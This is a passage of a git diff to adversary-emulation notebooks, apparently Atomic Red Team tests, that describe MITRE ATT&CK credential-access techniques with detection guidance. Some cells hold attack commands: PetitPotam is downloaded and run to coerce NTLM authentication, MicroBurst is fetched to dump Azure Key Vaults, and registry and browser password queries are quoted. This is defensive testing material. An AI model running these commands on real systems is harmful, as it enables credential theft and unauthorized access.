[ - { - "cell_type": "markdown", - "id": "a43a0e99", - "metadata": {}, - "source": "# T1179 - Hooking\nWindows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" - }, - { - "cell_type": "markdown", - "id": "171d672c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2e0ae130", - "metadata": {}, - "source": "## Detection\nMonitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1187.ipynb b/playbook/tactics/credential-access/T1187.ipynb index a9f7bb3d..8f58354a 100644 --- a/playbook/tactics/credential-access/T1187.ipynb +++ b/playbook/tactics/credential-access/T1187.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "52acac50", + "id": "798f9a80", "metadata": {}, "source": "# T1187 - Forced Authentication\nAdversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)" }, { "cell_type": "markdown", - "id": "b8b3c962", + "id": "d9e42f39", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ef29b1d5", + "id": "ca838266", "metadata": {}, - "source": "### Atomic Test #1 - PetitPotam\nThis module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).\nAnd the computer must be domain joined (implicit authentication).\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:TEMP\\PetitPotam.exe\") { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true\" -OutFile \"$env:TEMP\\PetitPotam.exe\"\n\n```" + "source": "### Atomic Test #1 - PetitPotam\nThis module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).\nAnd the computer must be domain joined (implicit authentication).\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PetitPotam.exe\") { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PetitPotam.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b09088b", + "id": "aa88c7e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1187 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "932abdcb", + "id": "b0a65fce", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n& \"$env:TEMP\\PetitPotam.exe\" 10.0.0.3 10.0.0.2 1\nWrite-Host \"End of PetitPotam attack\"\n```" + "```powershell\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\PetitPotam.exe\" 10.0.0.3 10.0.0.2 1\nWrite-Host \"End of PetitPotam attack\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "bfa8c0f1", + "id": "6856210f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1187 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "62b588fa", + "id": "0a4513a1", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS", @@ -58,20 +58,20 @@ { "cell_type": "code", "execution_count": null, - "id": "b7dda604", + "id": "6aa8de95", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1187 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "dfd07cbb", + "id": "7baf24d5", "metadata": {}, "source": "## Detection\nMonitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)" }, { "cell_type": "markdown", - "id": "b7b48fb2", + "id": "852f78be", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Credentials \n Create user credentials that are used for active defense purposes. \n\n Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) for the purpose of engagement. Decoy credentials can be planted in many locations and leveraged in a variety of ways.\n#### Opportunity\nIn order to prolong an adversary engagement operation or enable detections, there is an opportunity to introduce credentials to an adversary that you want them to collect and use.\n#### Use Case\nA defender can use adversary attempts at forced authentication exploits to seed adversary servers with decoy credentials.\n#### Procedures\nCreate user credentials for a decoy account, such as 'User ABC'. Store those credentials in the browser and other places on the system to see if an adversary attempts to harvest them.\n" } @@ -79,13 +79,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1208.ipynb b/playbook/tactics/credential-access/T1208.ipynb deleted file mode 100644 index f870ae4c..00000000 --- a/playbook/tactics/credential-access/T1208.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "de5fd630", - "metadata": {}, - "source": "# T1208 - Kerberoasting\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)" - }, - { - "cell_type": "markdown", - "id": "3881b617", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ee8ccebe", - "metadata": {}, - "source": "## Detection\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1212.ipynb b/playbook/tactics/credential-access/T1212.ipynb index 5b2fc5f3..977b2499 100644 --- a/playbook/tactics/credential-access/T1212.ipynb +++ b/playbook/tactics/credential-access/T1212.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "40449706", + "id": "022754a9", "metadata": {}, - "source": "# T1212 - Exploitation for Credential Access\nAdversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained." + "source": "# T1212 - Exploitation for Credential Access\nAdversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained." }, { "cell_type": "markdown", - "id": "3db25302", + "id": "046e36d3", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2eb9cd80", + "id": "7bb2e6ca", "metadata": {}, "source": "## Detection\nDetecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen." }, { "cell_type": "markdown", - "id": "8fc8cf84", + "id": "642cb8dd", "metadata": {}, "source": "\n## Shield Active Defense\n### Application Diversity \n Present the adversary with a variety of installed applications and services. \n\n Application diversity is presenting multiple software targets to the adversary. On a single target system, defenders can configure multiple different services or user software applications. On a target network, defenders can present systems with a variety of operating systems, operating system versions, applications, and services.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to use a variety of applications on a system to see what an adversary tries to exploit in order to acquire credentials.\n#### Use Case\nA defender can use a variety of applications on a decoy system or in a decoy network to see what an adversary tries to exploit in order to acquire credentials.\n#### Procedures\nUse a mix of vulnerable and nonvulnerable software on a system to allow you to see what exploits the adversary leverages in their attacks.\nInstall Anti-virus or other end-point detection tools on systems to see if an adversary takes note of them and if so, how they react.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1214.ipynb b/playbook/tactics/credential-access/T1214.ipynb deleted file mode 100644 index 8d9d064d..00000000 --- a/playbook/tactics/credential-access/T1214.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "697649d7", - "metadata": {}, - "source": "# T1214 - Credentials in Registry\nThe Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s" - }, - { - "cell_type": "markdown", - "id": "6674d718", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "a05c5cf4", - "metadata": {}, - "source": "## Detection\nMonitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1503.ipynb b/playbook/tactics/credential-access/T1503.ipynb deleted file mode 100644 index 6012d2bc..00000000 --- a/playbook/tactics/credential-access/T1503.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5c0cee03", - "metadata": {}, - "source": "# T1503 - Credentials from Web Browsers\nAdversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator)." - }, - { - "cell_type": "markdown", - "id": "89a5a39a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "1be41006", - "metadata": {}, - "source": "## Detection\nIdentify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1522.ipynb b/playbook/tactics/credential-access/T1522.ipynb deleted file mode 100644 index 4703872d..00000000 --- a/playbook/tactics/credential-access/T1522.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "fda6e3ef", - "metadata": {}, - "source": "# T1522 - Cloud Instance Metadata API\nAdversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n" - }, - { - "cell_type": "markdown", - "id": "85e98591", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "caf96d79", - "metadata": {}, - "source": "## Detection\n* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1528.ipynb b/playbook/tactics/credential-access/T1528.ipynb index d7c254b2..32e9bdb8 100644 --- a/playbook/tactics/credential-access/T1528.ipynb +++ b/playbook/tactics/credential-access/T1528.ipynb @@ -2,70 +2,70 @@ "cells": [ { "cell_type": "markdown", - "id": "eee72672", + "id": "46ddea1e", "metadata": {}, "source": "# T1528 - Steal Application Access Token\nAdversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nIn Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n" }, { "cell_type": "markdown", - "id": "d098fee8", + "id": "ec490252", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "34d4fa41", + "id": "37d85fd7", "metadata": {}, - "source": "### Atomic Test #1 - Azure - Dump All Azure Key Vaults with Microburst\nUpon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.\nSee - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The Get-AzurePasswords script must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\Get-AzurePasswords.ps1){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1\" -outfile \"$env:temp\\Get-AzurePasswords.ps1\"\n\n```\n##### Description: The Azure RM module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureRM -Force -allowclobber\n\n```\n##### Description: The Azure module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Azure -Force -allowclobber\n\n```" + "source": "### Atomic Test #1 - Azure - Dump All Azure Key Vaults with Microburst\nUpon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.\nSee - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The Get-AzurePasswords script must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzurePasswords.ps1\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzurePasswords.ps1\"\n\n```\n##### Description: The Azure RM module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureRM -Force -allowclobber\n\n```\n##### Description: The Azure module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Azure -Force -allowclobber\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3dfa9dda", + "id": "112c2f3e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1528 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a399c2ea", + "id": "c9775eb0", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nimport-module \"$env:temp\\Get-AzurePasswords.ps1\"\n$Password = ConvertTo-SecureString -String \"T1082Az\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"None\", $Password\nConnect-AzureRmAccount -Credential $Credential\nGet-AzurePasswords -subscription 'None' > $env:temp\\T1528Test1.txt\ncat $env:temp\\T1528Test1.txt\n```" + "```powershell\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzurePasswords.ps1\"\n$Password = ConvertTo-SecureString -String \"T1082Az\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"None\", $Password\nConnect-AzureRmAccount -Credential $Credential\nGet-AzurePasswords -subscription 'None' > $env:temp\\T1528Test1.txt\ncat $env:temp\\T1528Test1.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7c7aee02", + "id": "517779ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1528 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b32ca1ad", + "id": "29a09e80", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1528Test1.txt -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5780114a", + "id": "759fcf54", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1528 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": 